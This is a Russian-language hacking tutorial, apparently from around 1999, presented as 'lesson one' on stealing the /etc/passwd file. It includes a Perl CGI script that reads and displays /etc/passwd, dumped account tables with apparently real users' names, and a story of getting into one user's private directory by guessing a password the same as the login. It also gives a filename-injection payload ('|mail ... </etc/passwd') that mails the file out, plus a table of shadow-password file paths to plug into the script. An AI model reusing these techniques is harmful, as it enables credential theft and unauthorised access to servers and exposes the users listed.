Сетевые хаки это круто
и просто. Однако,
как именно, и
что именно нужно делать знают еще далеко не все. В
народе очень популярны
exploit, -то есть готовые инструментарии для
взлома, написанные другими хакерами.
Но, во-первых, это не интересно и ставит в зависимость от тех,
других хакеров (дадут ли они нам или опять зажмут все самое
ценное?), а во-вторых, они очень быстро перестают работать - дырки-то
затыкаются, а свежих exploit раз два и обчелся, да и те устаревают не по
дням, а по часам. Пусть среди аминов много лохов, но и они начинают
чесаться, когда их взломают раз - другой кряду.
Поэтому единственная возможность учится ломать
самим. Самим искать дыры и писать простейший
инструментарий для взлома. Однако, как бы это ни было просто, но все же
требует определенной усидчивости и умственных усилий.
Зато потом можно не просто считать себя хакером, но и
быть им! Стоит ли одно другого? Несомненно! Тогда
- в путь.. Путь долгий и тернистый. Ведь в двух словах, как это ломают, не
расскажешь. Но за
десять уроков мы обязательно
справимся! (
Примечание:
эта серия была
задумана для журнала "Хакер", но отклонена редакцией, поэтому остальные
статьи написаны не были, да и вряд ли будут. Разве, что по настоятельным
просьбам читателей. Пишите, если хотите
увидеть продолжение) Запасайтесь пивом и быстренько
подключайтесь к интернату (начальный доступ у вас все же должен быть).
Сейчас начнется самое интересное!
УРОК ПЕРЫЙ Как утащить etc/passwd
ALMA MATER
В конференциях
RU.HACKER и RU.NETHACK периодически вспыхивают дискуссии: как утащить
из-под лап администратора знаменитый файл
etc/passwd? А после того,
как утащили - что с ним можно делать?
Сказывают, что якобы там хранится несметное количество паролей,
логинов, аккаунтов, словом всего, что только пасется на этом сервере.
Другие же утверждают, что нет там ничего, а если что и есть, так оно
зашифровано и никакой жизни не хватит, что бы вернуть его в читабельное
состояние.
Кто же из них прав? Тем
более, что некоторые уже не раз оглашали мир радостным мявом, что,
дескать, пароли они утащили и сейчас будут сидеть их расшифровывать.
Конечно, же, ни с кем другим они делиться своим богатством не собираются!
Ну и не надо! Мы и сами с усами! Вот как пойдем по ссылке
http://kpnc.webprovider.com/hack.pl
да и посмотрим etc/passwd одного далекого заокеанского провайдера, да еще
в читабельном виде.
Вот, что мы увидим
на экране!(
Тут надобно заметить, что если стоит Netscape, то
ничегошеньки видно не будет; а если мы установили IE 4.0 (5.0) и не все
равно ничего не видно, - так это просто надо подождать, - файл etc/passwd
очень длинный, и если канал у вас не шибко быстрый, то перекачка может
занять, возможно, очень длинное время, - ждите тогда)
Наконец на экране появится следующее:
Пожалуйста, постетите этот сайт PRO HACK
DISPLAY ETC/PASSWORD FILE...
LOGIN
| NAME
| DIR
|
root
| System Administrator
| /root
|
toor
| System Administrator
| /root
|
daemon
| System Daemon
| /
|
sys
| Operating System
| /tmp
|
bin
| BSDI Software
| /usr/bsdi
|
operator
| System Operator
| /usr/opr
|
uucp
| UNIX-to-UNIX Copy
| /var/spool/uucppublic
|
games
| Games Pseudo-user
| /usr/games
|
news
| USENET News,,,
| /var/news/etc
|
demo
| Demo User
| /usr/demo
|
mail
| Sendmail
| /var/spool/mail
|
brian
| Brian Atkins,,,
| /export/home/brian
|
kannada
| Narendra Tumkur
| /disk1/k/kannada
|
pumpkin2
| liao xin
| /disk1/p/pumpkin2
|
lost508
| no idea
| /disk1/l/lost508
|
essepi
| Salvatore Calarco
| /disk1/e/essepi
|
rajatbhasin
| Rajat Bhasin
| /disk1/r/rajatbhasin
|
panze
| Congo Koa
| /disk1/p/panze
|
goni1
| Naseer Bhatti
| /disk1/g/goni1
|
madmama
| patty noland
| /disk1/m/madmama
|
yccwp
| yang changchun
| /disk1/y/yccwp |
Выше показана только малая часть от всей таблицы.
Правда, паролей там нет. То есть они не показы в явном виде -
законодательство надо же соблюдать хотя бы формально. Как их получить об
этом будет рассказано ниже.
А пока
можно изучив список логинов юзеров, попробовать угадать, кто же из них
окажется таким лохом, что выберет короткий пароль, или что еще лучше
пароль совпадающий с логином. Уверяю вас, таких лохов значительно больше
одного, так что на всех хватит, не говоря уже о такой халяве как
LOGIN
| NAME
| DIR
|
demo
| Demo User
| /usr/demo |
На этом наш первый маленький взлом можно считать
завершенным. Теперь разберемся, что же в действительности произошло и
можно ли так ломать других провайдеров или нет?
ЧТО ЭТО БЫЛО?
Так что же произошло на самом деле? Хитрый автор только дал
кликнуть по ссылке, а все остальное сделал сам. Это конечно хорошо, но
будет лучше, если не только дать рыбу, но еще и научить ее ловить!
Рыбу ловить изволите? В самом деле?
Тогда приготовьтесь, что это будет долгий и муторный процесс, но зато
потом вы станете настоящим хакером (шутка, однако)!
Итак, начнем разбираться, с премудростями автора. Для
начла заглянем внутрь файла nethackk1.htm (для этого в
меню "Вид" браузера выберем "просмотр в виде HTML") - нам представится
следующие:
<CENTER><B>Ты хочешь посмотреть etc/pasw одного
провайдера?<BR>
Тогда <a href="http://kpnc.webprovider.com/hack.pl">ЖМИ</a>
Не нужно быть
посвященным в тонкости программирования HTML, что бы понять, что
выделенная жирным красным цветом строка - перенаправила нас на другой
сервер и попыталась открыть, хм, какой-то "hack.pl"
Странно? А почему не html? Ну что же, попробуем открыть
hack.pl самостоятельно. Наберем эту строчку в окне браузера, - как вновь
выскочит табличка с паролями. Быть может это hack.pl и есть? И автор нас
просто разыграл, - смастерил фэйк, то есть составил эту таблицу от балды?
Но нетрудно убедиться, что таблица эта
живет своей "жизнью" - уходят одни пользователи - добавляются новые и
самое главное, что все логины правильные! Возьмем один, выбранный наугад.
Вот, например, madmama. Что скрывается за ним?
Набираем в строке браузера
"
madmama.webprovider.com" и что мы видим?
Index of /
| Name
| Last modified
| Size
| Description
|
[DIR]
| Parent Directory
| 09-Oct-1999 11:10
| -
| -
|
[DIR]
| _private/
| 09-Oct-1999 11:30
| -
| -
|
[TXT]
| form.html
| 09-Oct-1999 12:26
| 1k
| -
|
[DIR]
| images/
| 09-Oct-1999 11:30
| -
| -
|
[TXT]
| irc.html
| 09-Oct-1999 12:21
| 0k
| -
|
[TXT]
| mamairc.html
| 09-Oct-1999 12:18
| 4k
| -
|
[TXT]
| postinfo.html
| 09-Oct-1999 11:30
| 2k
| -
|
[TXT]
| thank_you.html
| 09-Oct-1999 12:26
| 1k
| - |
Эге! Да тут директория
_private. А ну, пустят нас
в нее или нет? Кликнем мышеем и замираем, сердца ждем. Вот черт не
пускают!
А узнать, что там ой как
хочется! Ну что же, попробуем атаковать "в лоб". Вводим пароль
"
madmama" и с нетерпением ждем... Держите нас, это сработало!!!
(Впрочем, к моменту выхода статьи в свет, MadMama может малость поумнеть и
пароль свой сменить)
[так оно и случилось - К.К.] Ну и что же в приватах? Гм, одна большая dbf с названием
prices. А, ну прайс - по русcки. Словом, ничего интересного. Но вот сам
факт взлома! А юзеров-то на сервере сотни, поэтому
это увлекательно путешествие можно только продолжать и продолжать!
Ладно, все это очень интересно, но как
же автор утянул, сей ценный стуфф? И не боится ли он, что к выходу статьи
в свет его прикроют? Разумеется, нет, и я готов поделиться с вами своим
ББС (большим буржуинским секретом). Ведь
никакого взлома автор
не совершал. Файл Etc/password
доступен с теми правами, которые ему (да и любому
другому пользователю) выделил администратор. И нечего огород городить!
Etc/password это
общедоступный ресурс - во всяком
случае на чтение и всякий может его поглядеть было бы желание! А
администратор вовсе не лох - ведь
паролей в
etc/password
нет, как мы в этом в последствии
убедимся.
Однако, как мы выяснили, что
пароли для взлома не всегда обязательны, - достаточно вполне знать логины
и проявить малость интуиции и находчивости. К тому же мы многое смогли
узнать и о сервисах самого провайдера, о которых он почему-то публично
умалчивает. Например, мы ясно видим, что сервер новостей установлен:
games
| Games Pseudo-user
| /usr/games
|
news
| USENET News,,,
| /var/news/etc
|
Но если просканировать порты сервера (любой программой, например
NetInfo), то наc грязно
обломают и скажут, что никаких тут ньюсов нет. Вот так:
Ну, как дорваться до
ньюсов, это тема отдельного разговора, а вот простенький сендмайл можно
юзать и так. Порты открытые - как на
POP3 (то есть чтение
почты), так на
SMTP (то есть ее отправку).
Впрочем, и почту и ньюсы ломать не интересно -
другое дело еще раз взглянуть на etc/password! Только как? Попробует
подрубаться по ftp (ну, а как же иначе-то)
Набираем в браузере "
ftp://ftp.werbprovider.com"
так нас грязно пошлют подальше. Да и если бы не послали, - все равно бы мы
ничего не смогли увидеть.
Ведь все
директории, которые видны по WWW или FTP - это
виртуальные директории, которые ничего не имеют
общего с физически, расположенными на диске. И оттуда etc/password
действительно никогда (ну разве что очень-очень редко) не бывает виден.
Как же автор получил его? Очень просто
- исполнил на удаленной машине скрипт...
СКРИПТЫ
Что-то
сделал автор? Говорит, запустил скрипт на удаленной машине? Но что это
значит? Давайте разбираться. Вероятно, читатель уже сталкивался с
различными скриптами, в web-страничках. Обычно они написаны на Java или
Visual Basic. Ну, а если не сталкивался - так это не беда, можно
установить Нетскейпу и совсем немного пробродить по Иннету, как тот начнет
ругаться "Скрипт Еррор такой-то". Ну что делать, - глючная вещь Нетскэеп.
А скрипты - это такие программы,
которые расширяют возможности языка HTML. Ведь HTML позволяет только
управлять форматированием текста - там отбивочки, тут курсивчик, вверху
заголовок с картинкой. Вот на этом возможности HTML и исчерпываются. Чаты,
скажем, уже требуют сложных операций, и не могут обойтись без Java или
подобных языков. Это скрипты и есть. Но для хака они не годятся.
Почему? Да потому что исполняются на
локальной машине, то есть
вашем домашнем компьютере. А сервер только
посылает и принимает от них данные. Печально.
Но есть другая категория скриптов - тех, что исполняются на
удаленном компьютере, то есть сервере, а вам отсылают (или не отсылают)
результат своей работы. Они имеют непосредственный доступ к системе, и
если администратор не ограничит вас в правах, то скрип может даже
отформатировать жесткий диск сервера или подпустить вируса или трояна. Ну,
на худой конец, просто полазить и шпионить по всем директориям (это,
кстати, часто и не запрещается).
Итак,
что бы ломать нужно всего лишь иметь право выполнять программы на
удаленном компьютере. На жаргоне это обзывается "
иметь доступ к
директории CGI-BIN". Тогда вы можете закинуть туда любую программу, и
ее исполнить. Хоть обычный exe файл типа BackOrifice2000. Правда, за одним
небольшим исключением. Исполняемый файл должен соответствовать модели
компьютера и операционной системе, которая установлена на сервере.
Другими словами, если это Pentium Pro
и Windows NT, то можно смело кидать всех Энтевых троянов и вирей - и они
успешно сработают.
Правда, вот такую
конфигурацию найти можно не так уж часто. Гораздо вероятнее встретить DEC
Alpha и UNIX. Это несколько хуже...
Но
существует ли способ, одинаково хорошо приглядный для всех систем?
Разумеется да. Для любого Юникса подойдет программа, написанная на Си.
Правда ее не "берет" NT. Зато Perl (есть такой язык) одинаково хорошо
воспринимается, как UNIX, так и NT. Если, правда, установлен его
интерпретатор. Но, обычно он все же установлен.
Выходит, Перловым скриптом мы смогли просмотреть всех
юзеров? Ведь расширение-то у файла было PL! Действительно, это Перл. И
если мы найдем в себе труд хотя бы поверхностно изучить этот замечательный
язык, то потом наши хакерские возможности неограниченно расширятся! За
дело, начнем изучать Перл! Однако, для начала придется немного огорчить
читателя. Что бы исполнять Перловый скрипт - это же надо еще права иметь!
А большинство бомажатников с халявными страничками таких прав не имеют.
Правда, все солидные и платные серверы
такой доступ непременно дают. И многие просто в обмен на баненную рекламу
(например,
http://www.agava.ru/ Но, у какого хакера
найдется лишняя деньга?
Выходит, что
все загвоздка в том, что бы найти удобный и хороший сервер. А главное
бесплатный! К счастью такие сервера есть! Пусть немного, но нам хватит..
для начла, а потом, потом мы научимся получать доступ и к тем, кто такие
права зажимает.
Кстати, многие www
сервера имеют незакрытый доступ к cgi-bin и если хорошо поискать, то их
можно найти! Правда, если тамошний админ не совсем лох, то такую дырку он
быстро прикроет, стоит только сунуться!
Но, об этом потом, а пока смотрите список серверов, где такой
доступ дается за просто так!
СЕРВЕРА, ДАЮЩИЕ СТРАНИЧКИ И ПРАВО ИСПОЛНЯТЬ
CGI
Вообще-то традиционно за
право выполнить CGI, нужно платить, да еще и зарегистрироваться так, что
бы в случае чего администратор мог вас найти и надавать по ушам. Ведь имея
такой доступ к системе можно сделать очень и очень много плохого. Кому это
понравится?
Но, тем не менее, в
Интернет найти можно все! И даже таких администраторов, которые
расщедриваются на такой доступ, да еще и предоставляют его на халяву! Что
бы их найти, можно набить в любом поисковике "CGI+Free+Perl" или побродить
по страничкам, сборникам ссылок на хяляву.
Словом, если вас не устроит ни один пункт из списка, приведенного
ниже, то всегда можно найти что-то и самим.
Сервер
| Комментарий
|
VirtualAve
|
Дает под
страничку 20 mb. Вместе с этим доступ к cgi-bin, и разрешает
выполнять Perl-скрипты. Имеет
древний sendmail, который так же интересно поковырять (или просто
отправлять почту в свое удовольствие) Предоставляет домен третьего уровня, то есть вы получите
что-то вроде http://yourname.virtualave.net/. Разрешает закачку по FTP, однако имя сервера для
этого выглядит иначе (например, ftp://server26.virtual.ave).
Внимательно читайте инструкцию. Имхо пока лучший из всей категории. Реклама - выпрыгивающий
баннер.Однако, мучительно долго регистрирует вас в системе.
Необходимо ждать целые сутки, прежде чем вам откроют аккаунт. К тому
же скорость не самая лучшая из возможных, но для скриптов сойдет.
|
Hypermart
|
Дает под
страничку 10 мегабайт (для скриптов это очень много), разумеется,
дает право исполнения Perl скриптов и почтовой рассылки. Очень надоедает своими баннерами, зато
это один из старейших сервисов и его скоро не прикроют. В дополнение к этому дает возможность
создавать собственную нью-конференцию, ну и
домен третьего уровня типа "http://yourname.hypermart.net/".
Впрочем, домен регистрируется в течении нескольких часов, но доступ
типа "http://server26.hypermart.net/kpnc" появляется тут же.
Так же доступен по FTP, но очень
неплохо защищен, и начинать с него не советую, хотя в остальных
отношениях - рульный сервак. Правда есть одно, но - что бы получить доступ, нужно ввести
код подтверждения, высылаемый вам на е-майл. Вот тут вся и загвоздка
- все бесплатные е-майлы отметаются сервером, как саксь и маст дай.
В том числе и часть платных российских тоже, например ZMAIL.RU и
TELEMEDNET.RU. Поэтому придется извращаться и где-то искать платный
ящик или иметь договоренность с его автором, на изыску писем.
|
Webjump.
|
Обещает 25
мегабайт и доступ к CGI-BIN, но очень часто его (доступ) вырубает на
случайное время, да и Perl какой-то кривой стоит, часто проблемы с
исполнением скриптов.
Очень - очень -
очень увешан баннерами, но зато дает домен третьего уровня и самое
главное, содержит офигенное число дыр, которые сразу не заткнут (не
успеют) - поэтому тренироваться начинающим хакерам на нем самое то!
|
ProHosting
|
Довольно неплохой
сервер, без баннеров [теперь уже с баннерами],
быстрый и приятный. Регистрирует ваш домен в течении четырех часов.
Но никаких дополнительных сервисов тут нет.
|
JustFree
|
Дает доступ к
cgi-bin и Шеллу (подробнее об этом позже). Очень тормозит, но это
один из очень немногих серверов, дающий халявный Шелл, так что
придется с этим примириться. |
ЗАЛИВАЕМ НАШ ПЕРВЫЙ СКРИПТ!
Итак, будем считать, что на сервере вы себе аккаунт
поимели по полной программе. Это не такая сложная операция, что бы на ней
останавливаться. Достаточно лишь заполнить форму, в которой нас будут
придирчиво расспрашивать о наших занятиях и доходах, - если что введем не
правильно, и нас пошлют, так можно попробовать еще раз!
А если какие проблемы и возникнут, то вот сходите -
почитайте, http://sesna.kharkiv.org/freeall/page/old.shtml
- тогда многие стразу станет ясно.
Теперь остается только залить на наш новый аккаунт свой первый
скрипт и полюбоваться результатами его работы. Заливать, конечно, будем по
FTP. Для этого нам потребуется FTP-клиент, поддерживающий закачку.
Например, всем известный FAR.
Запустим
его и в панели дисков выберем "FTP"
Теперь нажмем <Shift-F4> и в появившемся
окне диалога введем наш логин, пароль и хост (то есть имя сервера).
Обращаю внимание,
что имя хоста по FTP может не совпадать с WWW, - читайте об этом подробнее
в инструкции на сервере!
Вот и все.
Дважды долбанем по Enter и дождемся пока оно соединиться. Если при этом,
вас отошлют, то что-то сделано неправильно, а может, аккаунт еще не был
зарегистрирован. Подождите и попробуйте снова!
После того, как вы соединитесь с сервером, заливать файлы будет
можно, как в обычном Norton Commander, только естественно, намного
медленнее.
Но в какую директорию
закачивать скрипты? Конечно же, в /CGI-BIN, если только она есть! Но ее
может и не быть! Это не повод нервничать и волноваться. Значит, скрипты
могут выполняться в другой директории.
Так у "HyperMart" это корневая директория Вашего аккаунта, а на
"Virualave" это /public_html. Но прежде чем что-то закачивать, это
"что-то" надо создать. А для этого нужно знать Perl. Впрочем, можно по
началу поучиться на чужих скриптах. Например, ниже приведен текст скрипта,
о котором рассказывалось в начале статьи.
Кажется, стоит только набрать его в обычном текстовом редакторе
и... И при попытке исполнить скрипт, вы получите полный облом, если сервер
работает под управлением UNIX. Дело в том, что ей не нравится досовскоей
завершение строки
Нужен редактор,
который работает с учетом особенностей UNIX. Например, знаменитый DOS
NAVIGATOR (
http://www.ritlabls.com/) В меню
"Опции" редактора необходимо выбрать "Тип Текста" - "ЮНИКС" и вот теперь
можно вводить Перловый скрипт, который будет благополучно "проглочен"
UNIX.
Но это еще не все! После
того, как скрипт залит на сервер, ему необходимо установить атрибуты
исполняемого, иначе он исполнятся не захочет.
Для этого опять воспользуется уже успевшим нам полюбиться FAR-ом.
Встаньте на только что закаченный файл и нажмите <Ctrl-A>.
Установите атрибуты <X> от eXecutable - то есть исполняемый и
нажмите Enter.
Но, возможно, этого делать и
не придется, если директория, куда вы собрались копировать скрипт, уже
имеет такие атрибуты (тогда они наследуются, то есть передаются по
умолчанию, всем расположенным в этой директории файлам). Просмотреть их
можно точно так же, переместив на нее курсор и нажав <Ctrl-A>
Все! Теперь пришло время испытать сей
агрегат в действии. Наберите в строке браузера путь к скрипту,: стоп, а
откуда мы его знаем? Как он должен выглядеть?
Сложно сказать однозначно. Все зависит от конкретных настоек
сервера. Поэтому ничего, кроме как сходить и почитать об этом в faq,
заботливо расположенном на сервере не останется. Впрочем, вам на е-майл
так же должна прийти инструкция с подробными разъяснениями.
Итак, набираем сие в браузере, например,
http://kpnc.hypermart.net/hello.pl
для "Hypermart" и любуемся файлом etc/password этого сервера, Любуется
настолько, что я даже рискнул привести всю таблицу целиком
DISPLAY ETC/PASSWORD FILE...
LOGIN
| NAME
| PATH
|
root
| System Administrator
| /root
|
toor
| System Administrator
| /root
|
daemon
| System Daemon
| /
|
sys
| Operating System
| /tmp
|
bin
| BSDI Software
| /usr/bsdi
|
operator
| System Operator
| /usr/opr
|
uucp
| UNIX-to-UNIX Copy
| /var/spool/uucppublic
|
games
| Games Pseudo-user
| /usr/games
|
news
| USENET News,,,
| /var/news/etc
|
demo
| Demo User
| /usr/demo
|
mail
| Sendmail
| /var/spool/mail
|
brian
| Brian Atkins,,,
| /export/home/brian
|
alias
| ,,,
| /var/qmail/alias
|
qmaild
| ,,,
| /var/qmail
|
qmaill
| ,,,
| /var/qmail
|
qmailp
| ,,,
| /var/qmail
|
qmailq
| ,,,
| /var/qmail
|
qmailr
| ,,,
| /var/qmail
|
qmails
| ,,,
| /var/qmail
|
ftp
| FTP Daemon,,,
| /var/spool/ftp
|
proftp
| FTP Daemon,,,
| /var/spool/ftp
|
www
| Publish Account,,,
| /usr/home/www
|
nobody
| Unprivileged user
| /nonexistent
|
nonroot
| Non-root root user for NFS
| /nonexistent
|
hmvbin
| 65536-66559 reserved for hmv
| /nonexistent |
КАРАУЛ! ТУТ НЕТ НИ ОДНОГО ЮЗЕРА! (ну, кроме
demo). Верно, а что вы хотели? Сказано же было, что сервер старый,
вылизанный, дыры все убраны, и пользователи за просто так не отображаются.
Впрочем, в дальнейшем мы все же на
него попадем, но это будет не сейчас... Сейчас же мы попробуем
какой-нибудь другой сервер, что настроен по отношению к юным хакерам не
так агрессивно.
НЕМНОГО ХИТРОСТЕЙ И УЛОВОК
-
Хитрость 1
- Результат работы скрипта не виден под Несткапе. Ну, так написан
скрипт. Пользуйтесь мылом моему сердцу Экслорером! А НетСкапе такая
глючная вешь!!
-
Хитрость 2
- Все это, конечно, очень круто, но ведь очень часто случается так,
что доступа к скриптам нам никто не дает. А файл-то (известно какой)
утянуть хочется! Можно ли это сделать? Иногда да, только нужно
поискать дырки в существующих скриптах.
А очень часто бывает так, что они
есть, только не заметны с первого взгляда. Вот пусть, например, на
сервере где-то есть какой-то скритп (сейчас не важно какой и где), но
который запрашивает у пользователя имя файла, которое надлежит
открыть. (очень часто бывает в различных web-почтовых ящиках, да и в
других случаях то же).
Тогда можно
ввести что-то вроде "|mail VasyaPupukin@mail.com </etc/passwd",
разумеется без кавычек, как мы имеем неплохие шансы получить этот файл
на "дом", что называется с доставкой.
Далеко не все разработчики скриптов учитывают такую ситуацию.
Поэтому, однозначно, дыры в системах безопасности есть и они вокруг
нас! Надо только хорошо поискать и не боятся экспериментировать!!
-
Хитрость 3
- Обратите внимание на следующие строки скрипта
- ($login, $pass, $uid, $gid, $name,
$home_dir, $shell) = split(':');
-
- print "<tr>
- print "<td>
- print "$login";
- print "<td>
- print "$name";
- print "<td>
- print "$home_dir"l
То есть пароль считывается из файла, но не выводится?! Истинно
так. Если хотите его увидеть, то добавьте еще одну строчку в скрипт.
Догадайтесь как она должна выглядеть - уверяю, вас это не оставит
равнодушными!
Приложение 1
Скрипт hack.pl
- #!/usr/local/bin/perl
- print "Content-type: text/html\n\n";
- print "<BODY TEXT=#342E27 BGCOLOR=#D4D3C7
BACKGROUND=http://dore.on.ru/kpnc/images/BACK1.JPG>";
- print "≶IMG SRC=
http://dore.on.ru/kpnc/images/PH.JPG><BR>";
- print "Пожалуйста, посетитие сайт <A
href=http://kpnc.id.ru>PRO HACK</a><BR>";
- print "DISPLAY ETC/PASSWD FILE... \n";
- print "<TABLE widht=100% border=2>";
- print "<tr>";
- print "<TH bgcolor=#FFFF00> LOGIN";
- print "<TH bgcolor=#FFFF00> NAME";
- print "<TH bgcolor=#FFFF00> DIR";
- open(PASS, "</etc/passwd") || die;
-
- while()
- {
- ($login, $pass, $uid, $gid, $name, $home_dir, $shell) =
split(':');
- print "";
- print "";
- print "$login";
- print "";
- print "$name";
- print "";
- print "$home_dir";
- }
- print "</table>";
- close(PASS);
ПРИЛОЖЕНИЕ 2
Где хранятся пароли?
Если админ не совсем лох, то в etc/passwd
паролей не будет. Там можно обнаружить только "крестики". А сами пароли
где? А пароли совсем в другом месте, и обычно это место от рядового юзера
скрыто. То есть доступ отрублен. Но иногда случается так, что это сделать
забыли!
Так скажи те же, то золотое
место! Увы, оно не одно и зависит от настоек администратора и выбранной
системы. Ниже в таблице приводятся конфигурации по умолчанию. Попытайтесь,
- быть может вам повезет (таблица взята из alt2600 faq)
Система
| Путь
|
AIX 3
| /etc/security/passwd/tcb/auth/files/≶first letter
username>/<username>
|
A/UX 3.0s
| /tcb/files/auth/?/*
|
BSD4.3-Reno
| /etc/master.passwd
|
ConvexOS 10
| /etc/shadpw
|
ConvexOS 11
| /etc/shadow
|
DG/UX
| /etc/tcb/aa/user/
|
EP/IX
| /etc/shadow
|
HP-UX
| /.secure/etc/passwd
|
IRIX 5
| /etc/shadow
|
Linux 1.1
| /etc/shadow
|
OSF/1
| /etc/passwd[.dir|.pag]
|
SCO Unix #.2.x
| /tcb/auth/files/<first letter username>/<username>
|
SunOS4.1+c2
| /etc/security/passwd.adjunct
|
SunOS 5.0
| /etc/shadow
|
System V Release 4.0
| /etc/shadow
|
System V Release 4.2
| /etc/security/
|
databaseUltrix 4
| /etc/auth[.dir|.pag]
|
UNICOS
| /etc/udb |
Как ей пользоваться? Очень просто - заменить путь в
следующей сточке скрипта на новый.
- open(PASS, "</etc/passwd") || die;